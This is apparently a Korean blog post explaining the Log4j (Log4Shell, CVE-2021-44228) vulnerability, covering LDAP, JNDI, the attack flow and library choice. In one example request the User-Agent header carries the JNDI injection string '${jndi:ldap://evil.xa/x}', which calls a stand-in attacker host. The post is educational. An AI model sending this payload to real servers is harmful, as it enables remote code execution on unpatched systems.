2021년 11월 24일에 처음 발견된, 세상을 뒤흔들었던, 역대 최악의 취약점이라고도 불리는 Log4j 취약점에 대해서 알아보자.
Log4j 취약점 보고서 : CVE-2021-44228
Log4j (=Log For Java)
Apache에서 개발한 자바를 위한 로깅 라이브러리이다.
Java 표준 라이브러리에는, logging 패키지가 존재하고, 해당 패키지를 사용하여 로깅을 수행할 수 있다.
| java.util.logging | org.slf4j |
|---|---|
|
![]() |
하지만, 확장성이 부족하고, 설정도 복잡하여 Log4j 와 LogBack 과 같은 로깅 라이브러리를 주로 사용한다.
(오른쪽 사진은 LogBack 과 Log4j 두 라이브러리의 표준 인터페이스인 Slf4j 로깅 라이브러리이다.)
취약점 발견 전까지만 해도, Log4j는 자바 애플리케이션에서 널리 사용되는 로깅 라이브러리였다.
Lightweight Directory Access Protocol
Log4j의 취약점에 대해, 알기 위해서는 LDAP 과 디렉터리 서비스에 대해서 알아야 한다.
- 디렉터리는, 실생활에서 얻을 수 있는 객체를 구조적으로 저장하고 효율적으로 검색할 수 있게 해주는 데이타 저장의 하나의 특수한 경우
- 디렉터리 서비스는, 사용자가 디렉토리에 저장된 정보에 접근하게 해주는 솔루션이다.
(디렉터리라고 하면, 운영체제의 디렉터리를 떠올리기 쉽다. 하지만, 여기서 디렉터리는 데이터를 저장하기 위한 수단 중 하나라고 생각하면된다. 데이터베이스와 대비되는 기술이다.)
LDAP은 Lightweight Directory Access Protocol 로 사용자가 네트워크를 통해서, 디렉터리 서비스를 이용할 수 있게 해주는 애플리케이션 계층의 프로토콜이다.
즉, 사용자는 LDAP을 사용하여 원격 서버에 접속해 디렉터리에 저장된 데이터들을 조회할 수 있다.
LDAP이 Log4j와 무슨 관련이 있는지 무척 궁금증이 생길 수도 있다.
그 이유는, JNDI 때문이다.
Java Naming and Directory Interface
JNDI는 Java Naming And Directory Interface 로 자바에서 네이밍 서비스와, 디렉터리 서비스를 사용하기 위한 인터페이스(또는 API)이다.
많은 네이밍 서비스 (DNS)와 디렉터리 서비스(LDAP) 그리고 RMI와 같은 기술들이 존재하는데, 이는 모두 JNDI에 의해서 사용이 가능하다.
Log4j는 2013년에 LOG4J2-313이슈를 통해서 JNDILookup Plugin을 추가했다.
WAS는 큐/토픽, 데이터 소스, 환경 설정 값을 JNDI 트리 아래에 올려둔다. (java:comp/env..) WAS는 설정파일에서 ${jndi:java:comp/env/...처럼 JNDI 이름으로 자원을 조회해서, 재배포를 하지 않고도 환경 변수를 바꿔서 동작을 바꿀 수 있다.
이처럼, Log4j도 컨테이너가 관리하는 설정을 재사용하기 위해서 JNDI를 도입했다.
실제 위 이슈에 달린 설명은 다음과 같다.
Currently, Lookup plugins don't support JNDI resources.
It would be really convenient to support JNDI resource lookup in the configuration.
One use case with JNDI lookup plugin is as follows:
I'd like to use RoutingAppender to put all the logs from the same web application context in a log file (a log file per web application context).
And, I want to use JNDI resources look up to determine the target route (similarly to JNDI context selector of logback).
Determining the target route by JNDI lookup can be advantageous because we don't have to add any code to set properties for the thread context and JNDI lookup should always work even in a separate thread without copying thread context variables.
현재 조회 플러그인은 JNDI 리소스를 지원하지 않습니다.
구성에서 JNDI 리소스 조회를 지원하면 정말 편리할 것입니다.
JNDI 조회 플러그인의 한 가지 사용 사례는 다음과 같습니다:
동일한 웹 애플리케이션 컨텍스트의 모든 로그를 로그 파일(웹 애플리케이션 컨텍스트별 로그 파일)에 넣기 위해 RoutingAppender를 사용하고 싶습니다.
그리고 JNDI 리소스 조회를 사용하여 대상 경로를 결정하고 싶습니다(로그백[3]의 JNDI 컨텍스트 선택기와 유사하게).
JNDI 조회로 대상 경로를 결정하면 스레드 컨텍스트에 대한 속성을 설정하기 위해 코드를 추가할 필요가 없고, 스레드 컨텍스트 변수를 복사하지 않고도 별도의 스레드에서도 항상 JNDI 조회가 작동해야 하므로 유리할 수 있습니다.
요약하자면, JNDI를 추가하여 로깅을 수행할 때, 설정 코드를 추가하지 않고도 편리하게 설정을 변경하기 위함이다.
그렇다면, 이 이슈가 어떤 파장을 불러왔을지 살펴보자.
Remote Code Execution
(원격 코드 실행)
Log4j 라이브러리가 가진 취약점에 의해 발생할 수 있는 공격 중 하나이다.
Log4j로 로깅을 수행하고 있는 서버가 존재하는데, 해당 서버가 로깅 메소드를 호출할 때 매개 인자로 JNDI 문자열을 넘겨주면
Log4j는 내부적으로 JNDI Lookup을 수행하게 된다. 이때, 문자열의 프로토콜 부분에 ldap 이라는 키워드가 들어가게되면, JNDI는 ldap 프로토콜을 사용하여 원격지 주소로 접속을 하게 된다.
이때, 공격자는 서버가 User-Agent 헤더의 값을 추출하여 로깅을 수행하고 있다는 정보를 얻었다.
그래서 공격자는 User-Agent 헤더에 JNDI 문자열을 보내서, 공격 대상의 서버가, 공격자의 서버로 요청을 보내는지 확인하려고 한다.
GET /test HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}
실제로 위와 같은 구조를 가진 HTTP Request를 공격 대상 서버에게 보낸다.
공격 대상 서버는 요청을 받으면, Header에 담긴 문자열을 추출하여, 로깅 메소드 인자에 넘겨준다.
logger.info(${jndi:ldap://evil.xa/x});
로깅 메소드는 JNDI를 문자열을 파싱하고 해독하여, LDAP 프로토콜을 사용해 공격자 서버로 요청을 보낸다.
LDAP 프로토콜을 사용하여, 공격자 서버로 접속하기만 하는 가정이지만, 만약 공격자가 LDAP 으로 접속 시 정해진 실행 파일을 다운로드하여 실행하게 한다면 그 결과는 너무 끔찍할 것이다.
다른 예시이지만, Log4j에 있는 RCE의 공격 흐름을 표현하면 아래와 같다.

Simple Logging Facade For Java
Log4j 취약점 사태 이후, 전세계적으로 사용하던 로깅 라이브러리였던 Log4j는 취약점 패치를 진행하거나
다른 로깅 라이브러리로 교체되어야 했다.
하지만, 많은 애플리케이션 및 웹 서버에서 Log4j를 사용하고 있었으므로, 로깅을 수행하는 코드를 다른 라이브러리의 코드로 바꾸기란 쉽지 않았다.
Slf4j는 자바에서 사용되는 로깅 라이브러리의 표준 인터페이스이다. Sfl4j를 사용하면 표준 인터페이스이므로, 구현체만 바꿔 사용할 수 있어 편리하게 라이브러리를 교체할 수 있다.
이러한 개념은 ServiceProviderInterface 라고도 불리는데, 특정 서비스를 제공하기 위한 인터페이스라고 보면된다.
Slf4j를 구현한 구현 라이브러리는 Logback과 Log4j2가 있는데,
현재 스프링 부트에서는 Logback 을 기본 로깅 라이브러리로 채택하고 있다.
Log4j 취약점 사태가 발생한 후, Log4j는 12월 5일 취약점을 패치하여 코드를 배포했다.
라이브러리도 사람이 제작하고, 컴퓨터 기술을 사용하는 것이기 때문에
개발자는 라이브러리를 선택할 때 보안 취약점은 없는지 주의해야 한다.
개발자는 안정된 버전의 라이브러리를 사용해야 하며 OWASP 10과 같은 보안 이슈들을 빠르게 파악하여, 자신이 사용하고 있는 라이브러리에 이슈가 없는지 파악해야 한다.
(또는 자신이 사용하는 라이브러리의 Github 이슈를 탐색하는 것도 좋은 방법이 된다.)
Log4j 취약점은, JNDI Lookup Plugin이 추가되었을 때부터 2021년 11월에 발견되었을 때까지 계속 존재해왔을 것이다.
이미 이러한 취약점을 알고 있는 공격자들은 악용해왔을 수도 있다.
이렇게 사회에 알려지지 않은 취약점을 제로데이 취약점이라고 부르며, 취약점이 밝혀지지 않아 공격을 당하면 대처할 시간이 0-Day 라고 하여, 제로 데이 취약점이라고 불린다.
이러한 취약점들이 발생하는 것을 방지하기 위해서는 어떻게 해야 할까?
개발 방법론 중에서, DevSecOps 라고 불리는, 소프트웨어 개발 단계에서부터 보안을 고려하여 개발하는 방법론이 가장 먼저 생각나는데, 이 글을 읽는 독자 분들께서도 어떠한 방법들이 있을지 고민을 해보면 좋을 것 같다.
기회가 된다면 다음 포스팅에서 다뤄보겠다.
참고 자료
프로젝트의 취약점들을 다시 한 번 살펴보게 되는 포스팅이네요.